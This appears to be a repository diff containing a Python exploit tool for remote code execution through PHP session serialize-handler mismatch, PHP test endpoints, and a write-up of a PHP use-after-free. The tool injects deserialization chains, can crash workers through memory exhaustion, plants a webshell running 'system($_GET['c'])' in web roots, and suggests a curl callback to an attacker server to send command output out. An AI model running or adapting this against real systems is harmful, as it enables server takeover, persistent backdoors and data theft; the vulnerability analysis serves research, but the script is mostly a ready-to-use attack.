cookies = {}
|
||||||
|
for line in resp.split(b"\r\n"):
|
||||||
|
if line.lower().startswith(b"set-cookie:"):
|
||||||
|
cookie_str = line.split(b":", 1)[1].strip()
|
||||||
|
kv = cookie_str.split(b";")[0]
|
||||||
|
if b"=" in kv:
|
||||||
|
k, v = kv.split(b"=", 1)
|
||||||
|
cookies[k.strip().decode()] = v.strip().decode()
|
||||||
|
return cookies
|
||||||
|
|
||||||
|
|
||||||
|
def http_get(host, port, tls, path, cookies=None, timeout=10):
|
||||||
|
sock = tcp_connect(host, port, tls, timeout)
|
||||||
|
req = (
|
||||||
|
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
)
|
||||||
|
if cookies:
|
||||||
|
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req)
|
||||||
|
resp = recv_all(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
|
||||||
|
sock = tcp_connect(host, port, tls, timeout)
|
||||||
|
req = (
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: application/x-www-form-urlencoded\r\n"
|
||||||
|
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
|
||||||
|
)
|
||||||
|
if cookies:
|
||||||
|
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req + body_bytes)
|
||||||
|
resp = recv_all(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# Progress mode: multipart with upload progress + OOM
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def escape_filename(raw):
|
||||||
|
"""Escape bytes for Content-Disposition filename= quoted string.
|
||||||
|
NULL bytes are NOT supported (PHP truncates at \\x00)."""
|
||||||
|
out = b""
|
||||||
|
for byte in raw:
|
||||||
|
if byte == ord('"'):
|
||||||
|
out += b'\\"'
|
||||||
|
elif byte == ord('\\'):
|
||||||
|
out += b'\\\\'
|
||||||
|
elif byte == 0:
|
||||||
|
raise ValueError("NULL bytes cannot appear in multipart filenames")
|
||||||
|
else:
|
||||||
|
out += bytes([byte])
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def mp_field(bnd, name, value):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||||
|
b"\r\n" + value + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
def mp_file_with_name(bnd, fieldname, filename_raw, content):
|
||||||
|
escaped = escape_filename(filename_raw)
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + fieldname
|
||||||
|
+ b'"; filename="' + escaped + b'"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n"
|
||||||
|
b"\r\n" + content + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
def mp_end(bnd):
|
||||||
|
return b"--" + bnd + b"--\r\n"
|
||||||
|
|
||||||
|
|
||||||
|
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
|
||||||
|
fields=30000, fsize=512):
|
||||||
|
"""Inject chain via upload progress filename + OOM crash.
|
||||||
|
|
||||||
|
The filename contains |<chain>. PHP stores it in the upload
|
||||||
|
progress data in the session file. OOM crash skips cleanup,
|
||||||
|
leaving the poisoned session on disk.
|
||||||
|
|
||||||
|
NOTE: chain_bytes must not contain NULL bytes (multipart parser
|
||||||
|
limitation). Use only chains with public properties.
|
||||||
|
"""
|
||||||
|
bnd = b"----DESER" + os.urandom(8).hex().encode()
|
||||||
|
filename_payload = b"x|" + chain_bytes
|
||||||
|
|
||||||
|
body = b""
|
||||||
|
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
|
||||||
|
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
|
||||||
|
for i in range(fields):
|
||||||
|
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||||
|
body += mp_end(bnd)
|
||||||
|
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=120)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
sock.sendall(body)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
pass
|
||||||
|
resp = recv_all(sock, timeout=10)
|
||||||
|
sock.close()
|
||||||
|
return status_code(resp)
|
||||||
|
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# Exploit logic
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def run_inject(args, chain_bytes):
|
||||||
|
"""Inject mode: POST chain into session, trigger via handler mismatch."""
|
||||||
|
inj = urlparse(args.inject_url)
|
||||||
|
trg = urlparse(args.trigger_url)
|
||||||
|
inj_tls = inj.scheme == "https"
|
||||||
|
trg_tls = trg.scheme == "https"
|
||||||
|
inj_host = inj.hostname or "127.0.0.1"
|
||||||
|
trg_host = trg.hostname or "127.0.0.1"
|
||||||
|
inj_port = inj.port or (443 if inj_tls else 80)
|
||||||
|
trg_port = trg.port or (443 if trg_tls else 80)
|
||||||
|
inj_path = inj.path or "/"
|
||||||
|
trg_path = trg.path or "/"
|
||||||
|
if inj.query:
|
||||||
|
inj_path += "?" + inj.query
|
||||||
|
if trg.query:
|
||||||
|
trg_path += "?" + trg.query
|
||||||
|
|
||||||
|
# The payload: | followed by serialized chain
|
||||||
|
# When php_serialize stores this in the session file as a
|
||||||
|
# length-prefixed string, the | is preserved. When the php
|
||||||
|
# handler reads the file, it finds | and deserializes what follows.
|
||||||
|
payload = b"|" + chain_bytes
|
||||||
|
|
||||||
|
print("[*] Phase 1: obtaining session ID from inject endpoint...")
|
||||||
|
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
|
||||||
|
cookies = extract_cookies(probe)
|
||||||
|
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
|
||||||
|
print(f" PHPSESSID: {sid}")
|
||||||
|
|
||||||
|
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
|
||||||
|
print(f" Payload size: {len(payload)} bytes")
|
||||||
|
|
||||||
|
# URL-encode the binary payload for form POST
|
||||||
|
encoded_param = args.inject_param.encode() + b"="
|
||||||
|
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
|
||||||
|
post_body = encoded_param + encoded_value
|
||||||
|
|
||||||
|
resp = http_post_form(
|
||||||
|
inj_host, inj_port, inj_tls, inj_path,
|
||||||
|
post_body,
|
||||||
|
cookies=f"PHPSESSID={sid}",
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
sc = status_code(resp)
|
||||||
|
print(f" Response: HTTP {sc}")
|
||||||
|
if sc not in (200, 301, 302, 303, 204):
|
||||||
|
print(f" [!] Unexpected status. Session may not have been written.")
|
||||||
|
|
||||||
|
print("[*] Phase 3: triggering deserialization via handler mismatch...")
|
||||||
|
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
|
||||||
|
|
||||||
|
resp2 = http_get(
|
||||||
|
trg_host, trg_port, trg_tls, trg_path,
|
||||||
|
cookies=f"PHPSESSID={sid}",
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
sc2 = status_code(resp2)
|
||||||
|
body2 = body_of(resp2).decode(errors="replace")
|
||||||
|
print(f" Response: HTTP {sc2}")
|
||||||
|
|
||||||
|
return sid, sc2, body2
|
||||||
|
|
||||||
|
|
||||||
|
def run_progress(args, chain_bytes):
|
||||||
|
"""Progress mode: inject via upload progress filename + OOM crash."""
|
||||||
|
wr = urlparse(args.write_url)
|
||||||
|
trg = urlparse(args.trigger_url)
|
||||||
|
wr_tls = wr.scheme == "https"
|
||||||
|
trg_tls = trg.scheme == "https"
|
||||||
|
wr_host = wr.hostname or "127.0.0.1"
|
||||||
|
trg_host = trg.hostname or "127.0.0.1"
|
||||||
|
wr_port = wr.port or (443 if wr_tls else 80)
|
||||||
|
trg_port = trg.port or (443 if trg_tls else 80)
|
||||||
|
wr_path = wr.path or "/"
|
||||||
|
trg_path = trg.path or "/"
|
||||||
|
|
||||||
|
if b"\x00" in chain_bytes:
|
||||||
|
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
|
||||||
|
print(" via multipart filenames (PHP truncates at \\x00).")
|
||||||
|
print(" Use --mode inject, or provide a NULL-free chain.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
sid = os.urandom(16).hex()
|
||||||
|
print(f"[*] Session ID: {sid}")
|
||||||
|
|
||||||
|
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
|
||||||
|
print(f" Fields: {args.fields} x {args.field_size}B")
|
||||||
|
sc = progress_inject_oom(
|
||||||
|
wr_host, wr_port, wr_tls, wr_path, sid,
|
||||||
|
chain_bytes, args.fields, args.field_size,
|
||||||
|
)
|
||||||
|
if sc in (502, 0):
|
||||||
|
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||||
|
elif sc == 500:
|
||||||
|
print(f" [+] HTTP 500 (OOM during script)")
|
||||||
|
else:
|
||||||
|
print(f" [!] HTTP {sc} — may not have OOMed")
|
||||||
|
|
||||||
|
print(" Waiting for new worker...")
|
||||||
|
time.sleep(2)
|
||||||
|
for _ in range(8):
|
||||||
|
try:
|
||||||
|
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
|
||||||
|
if status_code(r) in (200, 301, 302, 403, 404):
|
||||||
|
print(" New worker ready")
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
print("[*] Phase 2: triggering deserialization via handler mismatch...")
|
||||||
|
resp = http_get(
|
||||||
|
trg_host, trg_port, trg_tls, trg_path,
|
||||||
|
cookies=f"PHPSESSID={sid}",
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
sc2 = status_code(resp)
|
||||||
|
body2 = body_of(resp).decode(errors="replace")
|
||||||
|
print(f" Response: HTTP {sc2}")
|
||||||
|
|
||||||
|
return sid, sc2, body2
|
||||||
|
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
# Build or load chain
|
||||||
|
if args.chain_file:
|
||||||
|
with open(args.chain_file, "rb") as f:
|
||||||
|
chain_bytes = f.read().rstrip(b"\n\r")
|
||||||
|
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
|
||||||
|
try:
|
||||||
|
chain_bytes = base64.b64decode(chain_bytes)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
|
||||||
|
elif args.chain in CHAINS:
|
||||||
|
info = CHAINS[args.chain]
|
||||||
|
if info["type"] == "fw":
|
||||||
|
if not args.write_path:
|
||||||
|
print(f"[!] --write-path required for {args.chain} chain")
|
||||||
|
print(" e.g., --write-path /var/www/html/shell.php")
|
||||||
|
sys.exit(1)
|
||||||
|
shell = args.shell_code or "<?php system($_GET['c']); ?>"
|
||||||
|
chain_bytes = info["fn"](args.write_path, shell)
|
||||||
|
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
|
||||||
|
else:
|
||||||
|
if not args.cmd:
|
||||||
|
print(f"[!] --cmd required for {args.chain} chain")
|
||||||
|
sys.exit(1)
|
||||||
|
chain_bytes = info["fn"](args.cmd)
|
||||||
|
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
|
||||||
|
else:
|
||||||
|
print("[!] Specify --chain or --chain-file")
|
||||||
|
print(" Available chains: " + ", ".join(CHAINS.keys()))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[*] Chain size: {len(chain_bytes)} bytes")
|
||||||
|
has_nulls = b"\x00" in chain_bytes
|
||||||
|
if has_nulls:
|
||||||
|
print("[*] Chain contains NULL bytes (normal for protected/private props)")
|
||||||
|
print()
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" PHP Session Deserialization RCE — Handler Mismatch")
|
||||||
|
print(" No LFI. No FPM dependency.")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" Mode : {args.mode}")
|
||||||
|
if args.mode == "inject":
|
||||||
|
print(f" Inject URL : {args.inject_url}")
|
||||||
|
print(f" Inject param: {args.inject_param}")
|
||||||
|
else:
|
||||||
|
print(f" Write URL : {args.write_url}")
|
||||||
|
print(f" Trigger URL: {args.trigger_url}")
|
||||||
|
if args.chain_file:
|
||||||
|
print(f" Chain : {args.chain_file}")
|
||||||
|
else:
|
||||||
|
print(f" Chain : {args.chain}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
if args.mode == "inject":
|
||||||
|
sid, sc, body = run_inject(args, chain_bytes)
|
||||||
|
else:
|
||||||
|
sid, sc, body = run_progress(args, chain_bytes)
|
||||||
|
|
||||||
|
# Post-exploit for fw chains: verify the webshell was written
|
||||||
|
chain_info = CHAINS.get(args.chain, {})
|
||||||
|
if chain_info.get("type") == "fw" and args.write_path:
|
||||||
|
print()
|
||||||
|
print("[*] Phase 4: verifying webshell...")
|
||||||
|
|
||||||
|
# Guess the webshell URL from write_path
|
||||||
|
# /var/www/html/shell.php -> /shell.php
|
||||||
|
shell_rel = args.write_path
|
||||||
|
for prefix in ["/var/www/html", "/var/www", "/srv/http",
|
||||||
|
"/usr/share/nginx/html"]:
|
||||||
|
if shell_rel.startswith(prefix):
|
||||||
|
shell_rel = shell_rel[len(prefix):]
|
||||||
|
break
|
||||||
|
|
||||||
|
trg = urlparse(args.trigger_url)
|
||||||
|
trg_tls = trg.scheme == "https"
|
||||||
|
trg_host = trg.hostname or "127.0.0.1"
|
||||||
|
trg_port = trg.port or (443 if trg_tls else 80)
|
||||||
|
|
||||||
|
verify_url = shell_rel + "?c=id"
|
||||||
|
try:
|
||||||
|
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
|
||||||
|
vbody = body_of(resp).decode(errors="replace")
|
||||||
|
if "uid=" in vbody:
|
||||||
|
print(f" [+] Webshell works!")
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(vbody.strip())
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
print()
|
||||||
|
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" [!] Could not verify: {e}")
|
||||||
|
|
||||||
|
if chain_info.get("type") == "cmd":
|
||||||
|
# Command output may be in the trigger response itself,
|
||||||
|
# or it may have run as a side effect (no visible output).
|
||||||
|
print()
|
||||||
|
if body.strip():
|
||||||
|
print("[+] Trigger response body:")
|
||||||
|
print(body[:500])
|
||||||
|
print()
|
||||||
|
print("[*] Command was executed during deserialization (__destruct).")
|
||||||
|
print(" If output is not visible, use a callback payload:")
|
||||||
|
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Deserialization triggered. If no RCE:")
|
||||||
|
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
|
||||||
|
print(" - Verify the POP chain matches the target's libraries")
|
||||||
|
print(" - Try phpggc to generate a chain for the exact versions:")
|
||||||
|
print(" phpggc -l | grep RCE")
|
||||||
|
print(f" - Session ID was: {sid}")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="PHP Session Deserialization RCE via Handler Mismatch",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
No LFI. No FPM. RCE via session.serialize_handler mismatch.
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
# Inject mode with Monolog file write (drops webshell):
|
||||||
|
%(prog)s --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-fw --write-path /var/www/html/s.php
|
||||||
|
|
||||||
|
# Inject mode with direct command execution:
|
||||||
|
%(prog)s --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-cmd --cmd 'id'
|
||||||
|
|
||||||
|
# Custom phpggc chain (raw or base64):
|
||||||
|
phpggc Monolog/RCE1 system id > chain.bin
|
||||||
|
%(prog)s --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain-file chain.bin
|
||||||
|
|
||||||
|
# Progress mode (no app session injection needed):
|
||||||
|
%(prog)s --mode progress \\
|
||||||
|
--write-url http://target/serialize_ep.php \\
|
||||||
|
--trigger-url http://target/php_ep.php \\
|
||||||
|
--chain-file chain_nofull.bin
|
||||||
|
""")
|
||||||
|
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
|
||||||
|
help="Injection mode (default: inject)")
|
||||||
|
ap.add_argument("--inject-url",
|
||||||
|
help="URL of endpoint that stores POST data in session "
|
||||||
|
"(must use php_serialize handler)")
|
||||||
|
ap.add_argument("--inject-param", default="data",
|
||||||
|
help="POST parameter stored in $_SESSION (default: data)")
|
||||||
|
ap.add_argument("--write-url",
|
||||||
|
help="URL of php_serialize endpoint (progress mode)")
|
||||||
|
ap.add_argument("--trigger-url", required=True,
|
||||||
|
help="URL of endpoint using default php handler "
|
||||||
|
"(triggers deserialization)")
|
||||||
|
ap.add_argument("--chain", choices=list(CHAINS.keys()),
|
||||||
|
help="Built-in POP chain")
|
||||||
|
ap.add_argument("--chain-file",
|
||||||
|
help="Custom serialized chain file (e.g., phpggc output)")
|
||||||
|
ap.add_argument("--write-path",
|
||||||
|
help="Target file path for monolog-fw chain")
|
||||||
|
ap.add_argument("--shell-code",
|
||||||
|
help="PHP code for webshell (monolog-fw, default: system)")
|
||||||
|
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
|
||||||
|
ap.add_argument("--fields", type=int, default=30000,
|
||||||
|
help="OOM pressure fields for progress mode (default: 30000)")
|
||||||
|
ap.add_argument("--field-size", type=int, default=512,
|
||||||
|
help="Bytes per OOM field (default: 512)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
|
||||||
|
if args.mode == "inject" and not args.inject_url:
|
||||||
|
print("[!] --inject-url required for inject mode")
|
||||||
|
sys.exit(1)
|
||||||
|
if args.mode == "progress" and not args.write_url:
|
||||||
|
print("[!] --write-url required for progress mode")
|
||||||
|
sys.exit(1)
|
||||||
|
if not args.chain and not args.chain_file:
|
||||||
|
print("[!] Specify --chain or --chain-file")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Direct deserialization test: loads Monolog, unserializes the chain,
|
||||||
|
* lets __destruct fire. Should execute system('id').
|
||||||
|
*/
|
||||||
|
require __DIR__ . '/vendor/autoload.php';
|
||||||
|
|
||||||
|
$payload = base64_decode($argv[1] ?? '');
|
||||||
|
if (!$payload) {
|
||||||
|
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
|
||||||
|
fwrite(STDERR, "Unserializing...\n");
|
||||||
|
|
||||||
|
$obj = unserialize($payload);
|
||||||
|
|
||||||
|
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
|
||||||
|
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
|
||||||
|
|
||||||
|
// __destruct fires here when $obj goes out of scope
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Test endpoint: php_serialize handler.
|
||||||
|
* Stores POST parameters in $_SESSION.
|
||||||
|
*
|
||||||
|
* In the wild, this maps to any endpoint that:
|
||||||
|
* - Uses ini_set('session.serialize_handler', 'php_serialize')
|
||||||
|
* (Laravel, Symfony, etc.)
|
||||||
|
* - Stores user input in $_SESSION
|
||||||
|
*/
|
||||||
|
ini_set('session.serialize_handler', 'php_serialize');
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||||
|
foreach ($_POST as $k => $v) {
|
||||||
|
$_SESSION[$k] = $v;
|
||||||
|
}
|
||||||
|
echo json_encode(['status' => 'ok', 'session_id' => session_id()]);
|
||||||
|
} else {
|
||||||
|
echo json_encode([
|
||||||
|
'status' => 'ready',
|
||||||
|
'session_id' => session_id(),
|
||||||
|
'handler' => 'php_serialize',
|
||||||
|
]);
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Test endpoint: default php handler.
|
||||||
|
* Just calls session_start(). The handler mismatch causes
|
||||||
|
* deserialization of objects injected via the php_serialize endpoint.
|
||||||
|
*
|
||||||
|
* In the wild, this maps to any PHP script on the same host that:
|
||||||
|
* - Does NOT set session.serialize_handler to php_serialize
|
||||||
|
* - Calls session_start()
|
||||||
|
* (phpMyAdmin, legacy scripts, admin panels, etc.)
|
||||||
|
*
|
||||||
|
* Autoloads Monolog so deserialized objects have real classes.
|
||||||
|
*/
|
||||||
|
require __DIR__ . '/vendor/autoload.php';
|
||||||
|
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
echo "OK pid=" . getmypid();
|
||||||
@@ -0,0 +1,393 @@
|
|||||||
|
# CVE-2026-109618 / CVE-2026-109619: Vulnerability Analysis
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
PHP's multipart parser (`rfc1867.c`) and session upload progress handler
|
||||||
|
(`ext/session/session.c`) contain a use-after-free exploitable over HTTP
|
||||||
|
against Apache mod_php with **default PHP configuration**. No LFI, no
|
||||||
|
framework dependency, no non-default settings.
|
||||||
|
|
||||||
|
| Property | Value |
|
||||||
|
|---|---|
|
||||||
|
| CVE | CVE-2026-109618, CVE-2026-109619 |
|
||||||
|
| CVSS | 9.2 (both, per Rapid7) |
|
||||||
|
| Affected | PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11 |
|
||||||
|
| Patched | PHP 8.3.36, 8.4.27, 8.5.12 |
|
||||||
|
| Prerequisites | Apache mod_php (prefork), session.upload_progress.enabled=1 (default) |
|
||||||
|
| Exploit status | UAF crash confirmed, full RCE not achieved |
|
||||||
|
|
||||||
|
## Root cause
|
||||||
|
|
||||||
|
### CVE-2026-109618: OOM triggers longjmp past cleanup
|
||||||
|
|
||||||
|
When `memory_limit` is exceeded during `php_session_decode()` inside
|
||||||
|
the RFC1867 progress callback, PHP calls `zend_mm_safe_error()` which
|
||||||
|
invokes `zend_bailout()`. This is a `longjmp` that unwinds the call
|
||||||
|
stack without running cleanup code, specifically
|
||||||
|
`php_var_unserialize_destroy()`.
|
||||||
|
|
||||||
|
The state that survives the bailout (in `BG` module globals):
|
||||||
|
|
||||||
|
```c
|
||||||
|
// ext/standard/basic_functions.c
|
||||||
|
struct {
|
||||||
|
uint32_t level; // should be 0, stays at 1
|
||||||
|
php_unserialize_data_t data; // freed 8216-byte struct pointer
|
||||||
|
} unserialize;
|
||||||
|
```
|
||||||
|
|
||||||
|
`php_var_unserialize_init()` allocates a `php_unserialize_data` struct
|
||||||
|
(8216 bytes = 3 ZendMM pages) and sets `level = 1`.
|
||||||
|
`php_var_unserialize_destroy()` frees it and sets `level = 0`. When OOM
|
||||||
|
fires between init and destroy, level stays at 1 and data points to
|
||||||
|
freed memory.
|
||||||
|
|
||||||
|
### CVE-2026-109619: Stale state reused on next request
|
||||||
|
|
||||||
|
The request startup flow in `main/main.c` (lines 1784-1838) wraps the
|
||||||
|
entire block from `zend_activate()` through `zend_activate_modules()` in
|
||||||
|
one `zend_try/zend_catch`. The execution order:
|
||||||
|
|
||||||
|
1. `zend_activate()` (line 1796)
|
||||||
|
2. `sapi_activate()` (line 1797): multipart parsing and RFC1867 callback
|
||||||
|
3. `php_hash_environment()` (line 1833)
|
||||||
|
4. `zend_activate_modules()` (line 1834): module RINITs run here, including `PHP_RINIT_FUNCTION(basic)` which zeros BG state
|
||||||
|
5. `PG(modules_activated) = 1` (line 1835)
|
||||||
|
|
||||||
|
The RFC1867 callback at step 2 runs BEFORE RINIT at step 4. So stale
|
||||||
|
BG state from the previous request IS used during RFC1867 decode.
|
||||||
|
|
||||||
|
When `php_var_unserialize_init()` is called during RFC1867 decode:
|
||||||
|
- It checks `BG(unserialize).level`
|
||||||
|
- If level > 0 AND `BG(serialize_lock) == 0`, it returns
|
||||||
|
`BG(unserialize).data` (the stale, freed pointer) and increments level
|
||||||
|
|
||||||
|
### Why Apache prefork survives (and FPM does not)
|
||||||
|
|
||||||
|
**Apache prefork**: The bailout is caught by Apache's request handler.
|
||||||
|
The child process continues its event loop. BG globals persist because
|
||||||
|
they are module-level, not request-scoped.
|
||||||
|
|
||||||
|
**PHP-FPM**: The bailout propagates to `fpm_main.c`'s outer
|
||||||
|
`zend_try/zend_catch`. The catch block sets `exit_status = 70` and the
|
||||||
|
worker exits. A new clean worker is spawned.
|
||||||
|
|
||||||
|
## OOM trigger mechanism
|
||||||
|
|
||||||
|
A session file with 33000 entries (~682KB) forces
|
||||||
|
`nTableSize = 65536` during decode. The `arData` allocation:
|
||||||
|
65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`,
|
||||||
|
this exceeds the limit during `HashTable` resize in
|
||||||
|
`zend_hash_real_init_mixed_ex()`.
|
||||||
|
|
||||||
|
The OOM triggers during `sapi_activate()` -> RFC1867 callback ->
|
||||||
|
`php_session_initialize()` -> `php_session_decode()` -> unserialize ->
|
||||||
|
`HashTable` resize.
|
||||||
|
|
||||||
|
After OOM:
|
||||||
|
- `php_session_cancel_decode()` calls `php_session_destroy()`
|
||||||
|
- Session file is DELETED (on unpatched PHP)
|
||||||
|
- `BG(unserialize).level = 1`, `.data` = freed pointer to 8216-byte struct
|
||||||
|
- Worker survives, serves new connections
|
||||||
|
|
||||||
|
## The UAF mechanism
|
||||||
|
|
||||||
|
### php_unserialize_data struct layout (8216 bytes, 3 pages)
|
||||||
|
|
||||||
|
```
|
||||||
|
Offset Field Size Notes
|
||||||
|
------ ----- ---- -----
|
||||||
|
0 last (var_entries*) 8 Points to inline entries
|
||||||
|
8 first_dtor 8 NULL initially
|
||||||
|
16 last_dtor 8 NULL initially
|
||||||
|
24 allowed_classes 8 NULL = allow all
|
||||||
|
32 ref_props 8 NULL
|
||||||
|
40 cur_depth 4 0
|
||||||
|
44 (padding) 4
|
||||||
|
48 max_depth 8 From ini setting
|
||||||
|
56 entries.used_slots 8 0 initially
|
||||||
|
64 entries.next 8 NULL
|
||||||
|
72 entries.data[1018] 8144 zval* array
|
||||||
|
8216 (end)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Why var_push crashes
|
||||||
|
|
||||||
|
After OOM, the heap is destroyed and rebuilt for the next request. The
|
||||||
|
stale pointer references freed pages in the ZendMM chunk. Filler form
|
||||||
|
fields in the crash trigger create 3-page `zend_string` allocations
|
||||||
|
that consume pages sequentially. When one lands on the stale struct's
|
||||||
|
pages (~page 288 of 512), the `zend_string` GC header overlaps the
|
||||||
|
struct's pointer fields:
|
||||||
|
|
||||||
|
```
|
||||||
|
Struct offset 0 (last) <- gc_refcount(4) + gc_type_info(4)
|
||||||
|
Struct offset 8 (first_dtor) <- hash(8)
|
||||||
|
Struct offset 16 (last_dtor) <- len(8)
|
||||||
|
Struct offset 24+ <- string value (attacker-controlled)
|
||||||
|
```
|
||||||
|
|
||||||
|
`var_push` (var_unserializer.re line 118) reads `(*var_hashx)->last`:
|
||||||
|
```c
|
||||||
|
var_entries *var_hash = (*var_hashx)->last; // = GC header ~= 0x0000030600000001
|
||||||
|
var_hash->data[var_hash->used_slots++] = rval; // dereferences invalid address
|
||||||
|
// SIGSEGV
|
||||||
|
```
|
||||||
|
|
||||||
|
### Why var_access does NOT crash (type confusion primitive)
|
||||||
|
|
||||||
|
`var_access` (var_unserializer.re line 213) is used by `R:N;` and
|
||||||
|
`r:N;` backreferences. Unlike `var_push`, it reads the INLINE entries
|
||||||
|
at struct offset 56, NOT the `last` pointer at offset 0:
|
||||||
|
|
||||||
|
```c
|
||||||
|
var_entries *var_hash = &(*var_hashx)->entries; // offset 56, not 'last'
|
||||||
|
if (id >= var_hash->used_slots) return NULL;
|
||||||
|
return var_hash->data[id]; // offset 72+
|
||||||
|
```
|
||||||
|
|
||||||
|
